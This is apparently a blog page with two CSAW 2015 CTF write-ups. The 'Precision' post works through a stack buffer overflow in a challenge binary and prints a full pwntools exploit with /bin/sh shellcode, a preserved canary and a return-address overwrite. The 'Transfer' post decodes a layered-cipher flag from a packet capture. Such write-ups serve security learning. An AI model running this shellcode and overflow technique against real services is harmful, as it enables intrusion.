Sunday, September 27, 2015

CSAW 2015 Quals: Exploitable 100 - Precision write-up

I worked on this challenge during the "CSAW 2015" as part of a CTF team called seven.

We are given a binary and need to exploit it on the remote system to get the flag.
First things first, let's check what type of protection we are dealing with.

# file precision_a8f6f0590c177948fe06c76a1831e650
precision_a8f6f0590c177948fe06c76a1831e650: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xf2c69f92c3f6d68319ee39c0926e84bccdeb0371, not stripped

# /opt/checksec.sh --file precision_a8f6f0590c177948fe06c76a1831e650
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   precision_a8f6f0590c177948fe06c76a1831e650

Seems like no protection at all... sine NX is disabled, it's probably a sack based attack (e.g. overflow).
Surely enough, running the application a few times gives more insight into what we should do.

# ./precision_a8f6f0590c177948fe06c76a1831e650
Buff: 0xbfd01a48
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Got AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

# ./precision_a8f6f0590c177948fe06c76a1831e650
Buff: 0xbf83e488
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nope

Looks like an ordinary echo app that just prints back whatever we type in. However, interestingly we get something that looks very much like an address on the stack (0xbf83e488).
This could be the address of the input buffer on the stack - but we'll need to confirm that to be sure.
Another interesting thing is that if we provide a long enough input, we get the message "Nope" instead of our original input.
Time to peek under the hood.

.text:0804851D ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0804851D                 public main
.text:0804851D main            proc near               
.text:0804851D
.text:0804851D argc            = dword ptr  8
.text:0804851D argv            = dword ptr  0Ch
.text:0804851D envp            = dword ptr  10h
.text:0804851D
.text:0804851D                 push    ebp
.text:0804851E                 mov     ebp, esp
.text:08048520                 and     esp, 0FFFFFFF0h
.text:08048523                 sub     esp, 0A0h
.text:08048529                 fld     ds:dbl_8048690
.text:0804852F                 fstp    qword ptr [esp+98h]
.text:08048536                 mov     eax, ds:stdout@@GLIBC_2_0
.text:0804853B                 mov     dword ptr [esp+0Ch], 0 ; n
.text:08048543                 mov     dword ptr [esp+8], 2 ; modes
.text:0804854B                 mov     dword ptr [esp+4], 0 ; buf
.text:08048553                 mov     [esp], eax      ; stream
.text:08048556                 call    _setvbuf
.text:0804855B                 lea     eax, [esp+18h]
.text:0804855F                 mov     [esp+4], eax
.text:08048563                 mov     dword ptr [esp], offset format ; "Buff: %p\n"
.text:0804856A                 call    _printf
.text:0804856F                 lea     eax, [esp+18h]
.text:08048573                 mov     [esp+4], eax
.text:08048577                 mov     dword ptr [esp], offset aS ; "%s"
.text:0804857E                 call    ___isoc99_scanf
.text:08048583                 fld     qword ptr [esp+98h]
.text:0804858A                 fld     ds:dbl_8048690
.text:08048590                 fucomip st, st(1)
.text:08048592                 fstp    st
.text:08048594                 jp      short loc_80485A9
.text:08048596                 fld     qword ptr [esp+98h]
.text:0804859D                 fld     ds:dbl_8048690
.text:080485A3                 fucomip st, st(1)
.text:080485A5                 fstp    st
.text:080485A7                 jz      short loc_80485C1
.text:080485A9
.text:080485A9 loc_80485A9:                            
.text:080485A9                 mov     dword ptr [esp], offset s ; "Nope"
.text:080485B0                 call    _puts
.text:080485B5                 mov     dword ptr [esp], 1 ; status
.text:080485BC                 call    _exit
.text:080485C1 ; ---------------------------------------------------------------------------
.text:080485C1
.text:080485C1 loc_80485C1:                            
.text:080485C1                 mov     eax, str
.text:080485C6                 lea     edx, [esp+18h]
.text:080485CA                 mov     [esp+4], edx
.text:080485CE                 mov     [esp], eax      ; format
.text:080485D1                 call    _printf
.text:080485D6                 leave
.text:080485D7                 retn
.text:080485D7 main            endp
It looks like we have some sort of primitive version of a stack cookie!
After taking the input, the app check if the stack still contains the value 64.33333 (which is located at dbl_8048690).
The value seems to be: 0x475a31a5 0x40501555

And indeed, the leaked address is the address of our buffer on the stack. Guess we don't need to worry about ASLR  :)
Let's take a look at the stack

bfa8:a960|b775bb58|X.u.|
bfa8:a964|00000001|....|
bfa8:a968|00000000|....|
bfa8:a96c|00000001|....|
bfa8:a970|b777d908|..w.|
bfa8:a974|b75db8d0|..].|
bfa8:a978|bfa8aa84|....|
bfa8:a97c|bfa8c6c4|....|ASCII "precision_a8f6f0590c177948fe06c76a1831e650"
bfa8:a980|b76b2a37|7*k.|return to b76b2a37
bfa8:a984|b760b315|..`.|return to b760b315
bfa8:a988|0000002f|/...|
bfa8:a98c|b773bff4|..s.|
bfa8:a990|00000000|....|
bfa8:a994|bfa8aa30|0...|
bfa8:a998|b773cce0|..s.|
bfa8:a99c|08048385|....|return to 08048385
bfa8:a9a0|b776e590|..v.|
bfa8:a9a4|08048420| ...|
bfa8:a9a8|0804a000|....|
bfa8:a9ac|08048632|2...|return to 08048632
bfa8:a9b0|00000001|....|
bfa8:a9b4|bfa8aa84|....|
bfa8:a9b8|bfa8aa8c|....|
bfa8:a9bc|bfa8a9d8|....|
bfa8:a9c0|b760b515|..`.|return to b760b515
bfa8:a9c4|b776e590|..v.|
bfa8:a9c8|475a31a5|.1ZG|    <================================== This is the stack cookie
bfa8:a9cc|40501555|U.P@|    <================================== This is the stack cookie
bfa8:a9d0|080485e0|....|
bfa8:a9d4|00000000|....|
Since NX is not enabled for the stack, we can execute the shellcode once it is put on the stack. 
We only need to:
  1. keep in mind that at offset 152 we have a stack cookie which we must not overwrite with something else
  2. jump to the buffer (payload) address on stack and execute our shellcode
  3. find a shellcode that is getting past _isoc99_scanf

The first two steps are nothing new - I my past posts I have shown how to easily find the offset on which the jump address (step 2) needs to be, so I will not repeat it this time...
A more interesting dilemma is step 3!
I tried generating numerous shellcodes with msfvenom, only to find that my shellcode get's split at various bad characters like: 0x0b, 0x09, 0x20, and many more.
After a lot of trial and error, I finally got this exploit to get pass the _isoc99_scanf function.
After putting it all together, we get the following exploit script:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from struct import pack, unpack

MAGIC_VALUE_1 = 0x475a31a5
MAGIC_VALUE_2 = 0x40501555

shellcode="\x31\xc0\xb0\x30\x01\xc4\x30\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\xb0\xb0\xc0\xe8\x04\xcd\x80\xc0\xe8\x03\xcd\x80"

conn = remote("localhost", 4444) 
# conn = remote("54.173.98.115", 1259) 

recieved = conn.recvuntil("\n")
buffer_address = int(recieved[6:], 16)
log.info("Recieved: " + recieved)
log.info("Buffer is at %s" % hex(buffer_address))
esp = buffer_address - 0x18
log.info("ESP is: %s" % hex(esp))
magic_value_address = esp + 0x98
log.info("Magic value is at: %s" % hex(magic_value_address))
log.info("Shellcode length: %s" % len(shellcode))
shellcode_address = buffer_address + 152 + 24
#shellcode_address = shellcode_address-0xa0
log.info("Shellcode is at: %s" % hex(shellcode_address))

payload = shellcode + "A" * (152-24-len(shellcode)) +str(p32(MAGIC_VALUE_1))  + str(p32(MAGIC_VALUE_2)) + "B" * 12 + str(p32(buffer_address))
# payload = "A" * 10

log.info("Sending payload")
conn.sendline(payload)
conn.interactive()

Friday, September 25, 2015

CSAW 2015 Quals: Forensic 100 - Transfer write-up

I worked on this challenge during the "CSAW 2015" as part of a CTF team called seven.

We get a PCAP and need to find the hidden flag.
Looking at the traffic in the PCAP, there doesn't seem to be anything interesting ... a bunch of HTTP requests (some HTTPS, hence the TLS).


Seeing as how there were numerous requests towards Google, Facebook, Twitter, csaw.engineering.nyu.edu, and other sites... I tried the next logical thing and took a look at the files that were transferred. This is easily done using Wiresharks file export feature.

Sure enough, there are quite bit of files to be seen. Here is a summary based on only the names and sizes of the files retrieved.


  • 4 files roughly 153KB in size, having the name %5c - probably the HTML source of the sites that were visited
  • 4 files roughly 24KB in size having the same name %5c - probably some CSS/JavaScript that came with the HTML source
  • 123 files roughly 1KB in size having the name object<number> - no idea what that would be...
  • 8 files roughly 1KB in size having the name %5c- probably various redirects (would make sense based on the 4+4 sites that were visited)
Looking at the files named %5c it's easy enough to confirm the above assumptions without taking to much time. Now for the hard part ... analyzing the many object<number> files ...


Luckily, opening up the very first one (in my case it's called object60) reviles a Python script!


import string
import random
from base64 import b64encode, b64decode

FLAG = 'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}'

enc_ciphers = ['rot13', 'b64e', 'caesar']
# dec_ciphers = ['rot13', 'b64d', 'caesard']

def rot13(s):
 _rot13 = string.maketrans( 
     "ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz", 
     "NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm")
 return string.translate(s, _rot13)

def b64e(s):
 return b64encode(s)

def caesar(plaintext, shift=3):
    alphabet = string.ascii_lowercase
    shifted_alphabet = alphabet[shift:] + alphabet[:shift]
    table = string.maketrans(alphabet, shifted_alphabet)
    return plaintext.translate(table)

def encode(pt, cnt=50):
 tmp = '2{}'.format(b64encode(pt))
 for cnt in xrange(cnt):
  c = random.choice(enc_ciphers)
  i = enc_ciphers.index(c) + 1
  _tmp = globals()[c](tmp)
  tmp = '{}{}'.format(i, _tmp)

 return tmp

if __name__ == '__main__':
 print encode(FLAG, cnt=?)

Well this looks promising! :)
It looks like a simple encoder/decoder, and it even has the flag template flag{xxx} embedded in it. There are four distinct functions here:

  • rot13 - a simple substitution cipher that replaces a letter with the letter 13 letters after it in the alphabet
  • b64e - a function that simply encodes a string to Base64
  • caesar - another simple substitution cipher that replaces a letter with the letter 3 letters after it in the alphabet
  • encode - this seams to be the master function which is used to encrypt the flag (notice a call to the encrypt function at the main part of the script!). It seems to first encode the flag into Base64, but first it ads the number 2 before the encoded string is concatenated. The number 2 seems to align with the index of the b64e function in the enc_ciphers variable. The rest of the function seems to randomly pick a function from the enc_ciphers variable and then apply the chosen algorithm to the entire string, thus forming a new one. Each time, the index of the used algorithm is added before the string. 

Obviously, we now have a way of decrypting the encrypted flag - we just need to find the string which was encoded. Looking at the rest of the object files, we see a bunch of seemingly random letters:

2Mk16Sk5iakYxVFZoS1RsWnZXbFZaYjFaa1prWmFkMDVWVGs1U2IyODFXa1ZuTUZadU1YVldiVkphVFVaS1dGWXlkbUZXTVdkMVprWnJWMlZHYzFsWGJscHVVekpOWVZaeFZsUmxWMnR5VkZabU5HaFdaM1pYY0hkdVRXOWFSMVJXYTA5V1YwcElhRVpTVm1WSGExUldWbHBrWm05dk5sSnZVbXhTVm5OWVZtNW1NV1l4V1dGVWJscFVaWEJoVjF

This seems to be our encrypted flag scattered across a bunch of files. As we can see, the number 2 at the beginning makes the first file (the one with the smallest number in object<number>) the first part of the encrypted string. 

First we need to create two decryption functions: b64d, caesard.
b64d is simple - we just call Python's b64decode to decode the Base64 string back to it's original form.
caesard is also simple - we just use a -3 offset to revert the changes of the original caesar cypher

Adding it all together, we get the flag

flag{li0ns_and_tig3rs_4nd_b34rs_0h_mi}

Here is the Python script I used - enjoy ! :)

import string
from base64 import b64decode
import os

mypath = "D:\CTFs/CSAW_2015/forensic/100/files/"
files = [ f for f in os.listdir(mypath) if os.path.isfile(os.path.join(mypath,f)) ]

encodedParts = []
for file in files:
 if "object" in file:
  encodedParts.append(int(file[6:]))

encodedParts = sorted(encodedParts)

# remove first element since it is the script itself ...
encodedParts.pop(0) 
# print encodedParts

encodedFlag = ""
for file in encodedParts:
 pathToFile = mypath + "object" + str(file)
 encodedFlag += open(pathToFile, "r").read()
 
# print encodedFlag

dec_ciphers = ['rot13', 'b64d', 'caesard']

def rot13(s):
 _rot13 = string.maketrans( 
     "ABCDEFGHIJKLMabcdefghijklmNOPQRSTUVWXYZnopqrstuvwxyz", 
     "NOPQRSTUVWXYZnopqrstuvwxyzABCDEFGHIJKLMabcdefghijklm")
 return string.translate(s, _rot13)

def b64d(s):
 return b64decode(s)

def caesard(plaintext, shift=-3):
    alphabet = string.ascii_lowercase
    shifted_alphabet = alphabet[shift:] + alphabet[:shift]
    table = string.maketrans(alphabet, shifted_alphabet)
    return plaintext.translate(table)


while(1):
 if (encodedFlag[0] == "1"):
  encodedFlag = rot13(encodedFlag[1:])
 elif (encodedFlag[0] =="2"):
  encodedFlag = b64d(encodedFlag[1:])
 elif (encodedFlag[0] =="3"):
  encodedFlag = caesard(encodedFlag[1:])
 else:
  print "finished..."
  print encodedFlag
  exit()